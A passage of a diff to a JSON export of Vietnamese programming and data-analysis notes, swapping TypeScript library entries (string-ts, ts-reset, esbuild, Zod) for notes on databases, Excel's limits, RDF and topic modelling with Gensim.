"2023-10-05T09:30:00.000Z", + "Ngày cập nhật": "2024-09-10T10:04:00.000Z", + "id": "ap" }, { - "Tiêu đề": "Dùng string-ts để bắt kiểu cho chuỗi được tốt hơn", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/Dùng string-ts để bắt kiểu cho chuỗi được tốt hơn", + "Tiêu đề": "DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Mô hình dữ liệu/DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## 😬 The problem\r\n\r\nWhen you are working with literal strings, the string manipulation functions only work at the runtime level and the types don't follow those transformations. You end up losing type information and possibly having to cast the result.\r\n\r\n```ts\r\nconst str = 'hello-world'\r\nconst result = str.replace('-', ' ') // you should use: as 'hello world'\r\n// ^? string\r\n```\r\n\r\n## 🤓 The solution\r\n\r\nThis library aims to solve this problem by providing a set of common functions that work with literal strings at both type and runtime level.\r\n\r\n```ts\r\nimport { replace } from 'string-ts'\r\n\r\nconst str = 'hello-world'\r\nconst result = replace(str, '-', ' ')\r\n// ^ 'hello world'\r\n```\r\nNguồn:: [GitHub - gustavoguichard/string-ts: Strongly typed string functions](https://github.com/gustavoguichard/string-ts?tab=readme-ov-file#charat)", + "Toàn bộ nội dung": "![](https://res.cloudinary.com/dg3gyk0gu/image/upload/c_scale,f_auto,q_auto:best,w_950/v1594114496/maggieappleton.com/databases-101/DB_3.jpg) \nNguồn:: [A Shelfish Starter Guide to Databases](https://maggieappleton.com/databases)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "X6" + "Ngày cập nhật": "2024-09-10T10:05:00.000Z", + "id": "aq" }, { - "Tiêu đề": "Dùng ts-reset để sửa những lỗi kỳ lạ của TS", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/Dùng ts-reset để sửa những lỗi kỳ lạ của TS", + "Tiêu đề": "Excel không phù hợp cho việc lập cơ sở dữ liệu", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Mô hình dữ liệu/Excel không phù hợp cho việc lập cơ sở dữ liệu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> [!attention] Chỉ dùng cho app, không dùng trên thư viện\r\n> `ts-reset` is designed to be used in application code, not library code. Each rule you include will make changes to the global scope. That means that, simply by importing your library, your user will be unknowingly opting in to `ts-reset`.\r\n\r\n[Links to why typescript chose to opt in for these weird quirks · total-typescript/ts-reset · Discussion #129 · GitHub](https://github.com/total-typescript/ts-reset/discussions/129)\r\n\r\nNguồn:: [TS Reset - Official Docs | Total TypeScript](https://www.totaltypescript.com/ts-reset)", + "Toàn bộ nội dung": "[Excel as a database - Neopoleon](https://www.neopoleon.com/blog/excel-as-a-database/)\r\n\r\nhttps://www.integrify.com/blog/posts/5-things-you-should-stop-doing-with-microsoft-excel/\r\nBy Mike Raia Posted June 13, 2018\r\n\r\n![](https://www.integrify.com/site/assets/files/2296/ways-not-to-use-excel-form.gif)\r\n\r\n---\r\n\r\n\r\n_Before you start the article, we wanted you to know that [workflow automation](https://www.integrify.com/landing-pages/workflow-automation/) can help wean people off of using Excel for the wrong reasons. [Check out what's possible.](https://www.integrify.com/landing-pages/workflow-automation/)_\r\n---\r\n\r\n\r\n### ![do not use excel for these things](https://www.integrify.com/site/assets/files/2296/excel-is-not-for.400x0-is.png)Excel is a great tool but it's often used in ways it was never intended. We suggest some of the ways it should **never** be used.\r\n\r\nMicrosoft Excel is a powerful spreadsheet that has been greatly refined over the past 30 years, especially with the development of macros. However, these capabilities have prompted many people to use Excel in ways for which it was never designed. For example, Excel isn’t a database, although many people use it as one. Excel may be able to serve this function for smaller data sets with simple rules, but a data set can quickly exceed Excel’s limitations as it grows. \r\n\r\nThere are far better tools out there to handle the specific use cases for which Excel is ill-equipped. Here are some of those use cases.\r\n\r\n## Forms\r\n\r\nThere are several reasons to avoid using Excel for forms. For instance:\r\n\r\n- Data entered into forms is typically disconnected from any database. Most Excel forms are just spreadsheets with blank cells to type into. This is only marginally better than a paper form.\r\n- Format and layout are cumbersome and time-consuming. To design a user-friendly form in Excel is a brutal exercise.\r\n- There are limited methods to control and validate input, resulting in bad data capture. Any attempts at validation are easily avoided.\r\n\r\nExcel was not designed for creating forms and to get a usable form that collects and stores data is prone to issues and simply not worth the effort. You're better off using a tool built for [designing forms](https://www.integrify.com/features/form-designer/) and handling data in a sensible way.\r\n\r\n[![workflow resources](https://no-cache.hubspot.com/cta/default/610486/40dfc51f-f3be-450d-baf2-36361cc5b265.png)](https://cta-redirect.hubspot.com/cta/redirect/610486/40dfc51f-f3be-450d-baf2-36361cc5b265)\r\n\r\n## Project Management\r\n\r\nExcel is often used for project planning, usually for small to midsize projects. The primary reason many people use Excel is that many team members are unfamiliar with project planning software options (or don't have budget for them) and Excel is readily available. Also, there are Excel project planning templates available for download. For simple solo projects that are basically a list of tasks and dates, Excel can be fairly effective.\r\n\r\nHowever, multiple users can’t work on the same Excel template at the same time unless your team is using the online version. Even then, it's easy to trip over each other while trying to edit. It also doesn't handle complex projects well and can become a densely-packed, color-coded nightmare for everyone except the person who created it.\r\n\r\nFurthermore, updating statuses manually and generating the required reports in Excel can more time than the work itself. Dedicated [project management software](https://www.capterra.com/project-management-software/) allows users to visualize and update the entire process of planning, reporting and monitoring a project in real-time. Manual data entry and duplicate reports are no longer a concern since all team members receive updates with the same report.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "X7" + "Ngày cập nhật": "2024-09-10T10:04:00.000Z", + "id": "ar" }, { - "Tiêu đề": "esbuild", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/esbuild", + "Tiêu đề": "File Google Docs không thực sự là file", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Mô hình dữ liệu/File Google Docs không thực sự là file", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "With Esbuild, you can easily analyse the generated bundle code and check which source files contribute most to the bundle size using the [`build.metadata`](https://esbuild.github.io/api/#build-metadata \"build.metadata\n(https://esbuild.github.io/api/#build-metadata)\") variable An example:\n\n```js\nconst context = await esbuild.context({\n /* Your Build variables */\n // ... \n metafile: true\n});\n\nlet build = await context.rebuild();\nconsole.log(await analyzeMetafile(build.metafile));\nprocess.exit(0);\n```\n\n(you can also run this using process args, of course) Which outputs:\n\n```\n main.js 884.6kb 100.0%\n ├ src/database/indexer.worker.ts 303.4kb 34.3%\n ├ node_modules/localforage/dist/localforage.js 81.8kb 9.2%\n ├ src/editor/base/parser/node_modules/@lezer/lr/dist/index.js 52.7kb 6.0%\n ├ node_modules/entities/lib/esm/generated/decode-data-html.js 46.1kb 5.2%\n ├ src/ui/pages/ViewPage.svelte 42.6kb 4.8%\n ├ node_modules/@lezer/common/dist/index.js 42.5kb 4.8%\n```\n\n \nNguồn:: ", + "Toàn bộ nội dung": "Lý do:: [[File là thứ mà nhiều chương trình khác nhau đều đọc được]]\r\nNguồn:: [Golems, smart objects, and the file metaphor (Interconnected)](https://interconnected.org/home/2021/02/01/golems)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-08-25T07:21:00.000Z", + "Ngày cập nhật": "2024-09-10T10:04:00.000Z", + "id": "as" + }, + { + "Tiêu đề": "Ứng dụng quản lý là một dạng giao diện giữa người dùng và cơ sở dữ liệu", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Mô hình dữ liệu/Ứng dụng quản lý là một dạng giao diện giữa người dùng và cơ sở dữ liệu", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Ứng dụng quản lý (Line-of-Business, LOB) là loại phần mềm phổ biến nhất đối với doanh nghiệp. Về bản chất, có thể hình dung ứng dụng quản lý là một dạng giao diện giữa người dùng và cơ sở dữ liệu.\r\n\r\nCác công việc chính mà một ứng dụng quản lý thực hiện là các thao tác với dữ liệu, bao gồm tạo mới (Create), đọc (Retrieve), cập nhật (Update), và xóa (Delete). Vì vậy, các ứng dụng quản lý cũng thường được gọi là những ứng dụng CRUD.\r\n\r\nVới đặc điểm trên, khi phát triển một ứng dụng quản lý, nhiệm vụ chính mà lập trình viên phải thực hiện là xây dựng các screen giúp người dùng thực hiện các tác vụ CRUD trên dữ liệu. Thông thường, mỗi domain class/entity sẽ đòi hỏi một nhóm screen thực hiện các tác vụ CRUD trên class/entity đó.\r\n\r\nĐiều này dẫn đến việc phát triển ứng dụng quản lý đều thực hiện theo một khuôn mẫu chung, từ giao diện người dùng đến tương tác với dữ liệu.\r\n\r\nSự khác biệt lớn nhất giữa các ứng dụng quản lý có lẽ là ở bài toán / nghiệp vụ cần giải quyết chứ không nằm ở yếu tố kỹ thuật.\r\n\r\nDo đặc thù gần như mọi thứ đi theo khuôn mẫu chung, các hãng hoặc các nhóm phát triển phần mềm thường xây dựng ra các công cụ giúp tự động hóa một phần hoặc toàn phần việc tạo ra các ứng dụng quản lý.\r\n\r\nNguồn:: [[tuhocict]], [Radzen Blazor - Công cụ phát triển nhanh ứng dụng quản lý | Tự học ICT](https://tuhocict.com/radzen-blazor-cong-cu-phat-trien-nhanh-ung-dung-quan-ly/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-30T07:50:00.000Z", - "id": "X8" + "Ngày cập nhật": "2024-09-10T10:04:00.000Z", + "id": "at" }, { - "Tiêu đề": "Người mới học TS thì nên cài extension Total TypeScript để bớt sợ", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/Người mới học TS thì nên cài extension Total TypeScript để bớt sợ", + "Tiêu đề": "Cách để AI không bị ảo giác là kêu nó viết query cho Wikidata", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Cách để AI không bị ảo giác là kêu nó viết query cho Wikidata", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nó giúp làm quen được một số cú pháp hoặc lỗi cơ bản.\r\n\r\nGet helpful hints on syntax you've never seen before, with direct links to the docs. Once you feel you've got it covered, mark it as learned to hide the hints. Goes all the way from beginner to hyper-advanced. (Bấm <kbd>Ctrl+K Ctrl+I</kbd>) \r\n\r\n![A TypeScript hint showing in a VSCode document](https://raw.githubusercontent.com/mattpocock/ts-error-translator/main/assets/hint-screenshot.png)\r\n\r\nConfused by TypeScript errors? Translate them into human-readable language right in your IDE. (Bấm <kbd>F8</kbd>) \r\n\r\n![An improved error message showing in a VSCode document](https://raw.githubusercontent.com/mattpocock/ts-error-translator/main/assets/error-screenshot.png)\r\n\r\nNếu cái nào không hiện lên thì vào [TypeScript Error Translator ](https://ts-error-translator.vercel.app/).\r\n\r\nNguồn:: ![Can VS Code teach you TypeScript?](https://www.youtube.com/live/tDT214cE6Lo?feature=share) \r\n\r\nNgoài ra cũng có chỉnh strictness \r\n![Typescript: 02-03 Strictness - Các config về strict trong tsconfig.json - YouTube](https://www.youtube.com/watch?v=5qQ7FP4Cvew)\r\n", + "Toàn bộ nội dung": "Nguồn:: ![The Future of Knowledge Graphs in a World of Large Language Models - YouTube](https://youtu.be/WqYBx2gB6vA)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "X9" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "au" }, { - "Tiêu đề": "Thay vì dùng Copilot để gợi ý code, có thể dùng 30 seconds of TypeScript", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/Thay vì dùng Copilot để gợi ý code, có thể dùng 30 seconds of TypeScript", + "Tiêu đề": "Numpy và Pandas", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Numpy và Pandas", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chỉ cần gõ `30_` rồi chờ một chút để VS Code gợi ý. Nếu nó không gợi ý thì bấm <kbd>Ctrl+Space</kbd>\r\n![](https://github.com/deepakshrma/30-seconds-of-typescript/raw/master/assets/snippets.gif)\r\n[Site Unreachable](https://marketplace.visualstudio.com/items?itemName=imdeepak.30-seconds-of-typescript)\r\nNguồn:: [GitHub - deepakshrma/30-seconds-of-typescript](https://github.com/deepakshrma/30-seconds-of-typescript)", + "Toàn bộ nội dung": "Nguồn:: [[IBM]], <iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/KHoEbRH46Zk\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen></iframe>\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XA" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "av" }, { - "Tiêu đề": "TS chỉ có thể bắt lỗi kiểu dữ liệu trong lúc viết code. Zod giúp bắt lỗi kiểu do người dùng trả về", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/TS chỉ có thể bắt lỗi kiểu dữ liệu trong lúc viết code. Zod giúp bắt lỗi kiểu do người dùng trả về", + "Tiêu đề": "Phân tích dữ liệu", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Zod Tutorial | Total TypeScript](https://www.totaltypescript.com/tutorials/zod)", + "Toàn bộ nội dung": "Chương trình GCC nhắm đến 2 đối tượng chính là: \n1. Các sinh viên đang học các ngành nghề có liên quan đến công nghệ Số. \n2. Người đang tìm việc có nhu cầu bổ sung kiến thức về công nghệ Số mới để phát triển kỹ năng nghề nghiệp của mình. \nNgoài ra khóa học cũng sẽ dành cho các giảng viên của các trường và nhân viên tại các công ty có nhu cầu tìm hiểu và tiếp thu thêm kiến thức về công nghệ Số.\n[Google - Courses](https://nhantaiso.nic.gov.vn/tai-lieu-bo-tro)\n\n```dataview\nLIST rows.file.link\nFROM \"📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XB" + "Ngày tạo": "2023-12-01T06:04:00.000Z", + "Ngày cập nhật": "2024-08-25T13:51:00.000Z", + "id": "aw" }, { - "Tiêu đề": "tsc là TypeScript compiler, là thứ dịch TypeScript sang JavaScript", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/tsc là TypeScript compiler, là thứ dịch TypeScript sang JavaScript", + "Tiêu đề": "Concept map, knowledge graph", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích mạng lưới/Concept map, knowledge graph", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Compile time là lúc chuyển từ ngôn ngữ lập trình mà người hiểu sang ngôn ngữ máy chỉ có máy mới hiểu. Runtime là lúc máy chạy mã máy]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XC" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "ax" }, { - "Tiêu đề": "tsconfig", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/tsconfig", + "Tiêu đề": "The Semantic Web is essentially a distributed-objects framework", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích mạng lưới/The Semantic Web is essentially a distributed-objects framework", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![Bài 5 - Cấu hình compile với tsconfig.json - YouTube](https://youtu.be/UJYu4dF3Vrw)\r\n", + "Toàn bộ nội dung": "Nguồn:: [[Wikipedia]], [Object (computer science)](https://en.wikipedia.org/wiki/Object_(computer_science))\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XD" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "ay" }, { - "Tiêu đề": "TypeScript cung cấp kiểu cho JS", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/TypeScript cung cấp kiểu cho JS", + "Tiêu đề": "Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích mạng lưới/Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "JavaScript là dynamic typing, có nghĩa là một biến có thể nhận bất cứ kiểu dữ liệu nào (ví dụ integer sau đó lại gán thành string). Đây là một ưu điểm lớn với những script nhỏ (vài dòng đến vài chục dòng) vì nó giúp lập trình nhanh hơn. Nhưng với những ứng dụng lớn, có nhiều module, điều đó khiến việc xử lý dữ liệu nhiều khi rơi vào bế tắc do không biết dữ liệu của biến là gì (và nó đã bị thay đổi từ khi nào).\r\n\r\nJavaScript không hỗ trợ static typing, là kiểu lập trình mà mỗi biến sẽ được khai báo kiểu dữ liệu trước và sẽ gặp lỗi nếu được gán giá trị có kiểu dữ liệu khác. TypeScript là ngôn ngữ cung cấp tính năng này.\r\n\r\nNguồn:: [So sánh nhỏ: TypeScript vs JavaScript | manhhomienbienthuy](https://manhhomienbienthuy.github.io/2022/03/01/so-sanh-nho-typescript-vs-javascript.html)\r\n\r\n[[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]]", + "Toàn bộ nội dung": "Nguồn:: [A Skeptics Guide to Graph Databases - David Bechberger - YouTube](https://youtu.be/yOYodfN84N4?t=2095)\n[[RDF có thể được biểu diễn bằng JSON-LD]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XE" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-06T15:30:00.000Z", + "id": "az" }, { - "Tiêu đề": "TypeScript", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/TypeScript", + "Tiêu đề": "Các công cụ lắng nghe xã hội có sẵn giống như một ảnh chụp màn hình nhanh về những gì đang diễn ra", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Các công cụ lắng nghe xã hội có sẵn giống như một ảnh chụp màn hình nhanh về những gì đang diễn ra", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# 1\r\n\\- Our cafe serves Coffee and Coffeedrink.\r\n\\- What's Coffeedrink?\r\n\\- It's a kind of tea.\r\n\\- Does it taste like coffee?\r\n\\- Not really.\r\n# 2\r\n\\- I guess I'll have some Coffeedrink then.\r\n\\- Oh no, you don't actually _drink_ Coffeedrink. You drink this, it's called Typedrink, and it turns into Coffeedrink once it gets into your stomach.\r\n\r\nNguồn:: [I think this belongs here : r/ProgrammerHumor](https://www.reddit.com/r/ProgrammerHumor/comments/at1n7l/comment/egybe2g/?utm_source=share&utm_medium=web2x&context=3) \r\n\r\n```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript\"\r\nWHERE file.name != this.file.name\r\nGROUP BY split(file.folder, \"/\")[6]\r\n```", + "Toàn bộ nội dung": "Nguồn:: ![](https://youtu.be/ZYTXc2fK-JY)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XF" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "a-" }, { - "Tiêu đề": "void là kết quả của những hàm không trả kết quả nào", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/void là kết quả của những hàm không trả kết quả nào", + "Tiêu đề": "Feature Extraction, Text Representation, Text Extraction, Text Vectorization là những cái tên khác nhau cho cùng một thứ", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Feature Extraction, Text Representation, Text Extraction, Text Vectorization là những cái tên khác nhau cho cùng một thứ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khi hàm không dùng từ khoá `return` thì tức là hàm đó chỉ dùng để gom nhiều hàm khác lại làm một thôi chứ không có chạy gì cả. Đồng nghĩa với việc nó dùng `return void`.\r\n\r\nVí dụ, hàm này:\r\n```js\r\nfunction chạyHàmVoid(){\r\n\tconsole.log(1+1)\r\n} \r\nchạyHàmVoid()\r\n```\r\nKhông trả về kết quả nào, dù console có hiện ra là 2. ", + "Toàn bộ nội dung": "Nguồn:: [A Complete Guide on Feature Extraction Techniques](https://www.analyticsvidhya.com/blog/2022/05/a-complete-guide-on-feature-extraction-techniques/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XG" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "a_" }, { - "Tiêu đề": "Khác biệt giữa JS và Python", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Khác biệt giữa JS và Python", + "Tiêu đề": "Gensim tập trung vào mô hình chủ đề", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Gensim tập trung vào mô hình chủ đề", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Mọi thứ trong Python hoặc JavaScript đều là đối tượng\r\n- [[Việc hiển thị nội dung dữ liệu như thế nào là do công cụ quyết định, không phải ngôn ngữ quyết định]].\r\n- [[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]], trong khi đó [[Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết]] \r\n- [[Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển]]\r\n\r\n[Comparing Python and JavaScript: A Guide for Developers | Object Computing, Inc.](https://objectcomputing.com/resources/publications/sett/december-2020-comparing-python-and-javascript)\r\n", + "Toàn bộ nội dung": "Có rất nhiều thư viện về học máy, như NLTK, SpaCy, Gensim, scikit-learn, TensorFlow, Hugging Face, v.v. Tuy nhiên, Gensim. Theo lời tác giả:\r\n>By now, Gensim is—to my knowledge—the most robust, efficient and hassle-free piece of software to realize unsupervised semantic modelling from plain text. It stands in contrast to brittle homework-assignment-implementations that do not scale on one hand, and robust java-esque projects that take forever just to run “hello world”.\r\n\r\nGensim = Generate Similar\r\n\r\nTriết lý của Gensim:\r\n- **Practicality** – as industry experts, we focus on proven, battle-hardened algorithms to solve real industry problems. More focus on engineering, less on academia.\r\n- **Memory independence** – there is no need for the whole training corpus to reside fully in RAM at any one time. Can process large, web-scale corpora using data streaming.\r\n- **Performance** – highly optimized implementations of popular vector space algorithms using C, BLAS and memory-mapping.\r\n\r\nNguồn:: [What is Gensim? — gensim](https://radimrehurek.com/gensim/intro.html#what-is-gensim)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XH" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "b0" }, { - "Tiêu đề": "JS uses {} syntax for object literals, Python uses it for dictionary and set literals", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt kỹ thuật/JS uses {} syntax for object literals, Python uses it for dictionary and set literals", + "Tiêu đề": "Không giám sát nghĩa là giả định rằng người huấn luyện không có giả định nào", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Không giám sát nghĩa là giả định rằng người huấn luyện không có giả định nào", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [python - Is there a way to set attribute to sub objects in a class? - Stack Overflow](https://stackoverflow.com/questions/77589457/is-there-a-way-to-set-attribute-to-sub-objects-in-a-class/77589533?noredirect=1#comment136786147_77589533)", + "Toàn bộ nội dung": "Nguồn:: [WE1S – A 4Humanities Project](https://we1s.ucsb.edu/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XI" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "b1" }, { - "Tiêu đề": "Map trong JS tương đương với dictionary trong Python", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt kỹ thuật/Map trong JS tương đương với dictionary trong Python", + "Tiêu đề": "Bản chất của mô hình chủ đề là tô màu cho văn bản và từ", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình/Bản chất của mô hình chủ đề là tô màu cho văn bản và từ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [javascript - How to create an array of similar object effectively? - Stack Overflow](https://stackoverflow.com/questions/78019782/how-to-create-an-array-of-similar-object-effectively/78020371#comment137545240_78020088)\r\n[[Map, dictionary, associative array, hash, 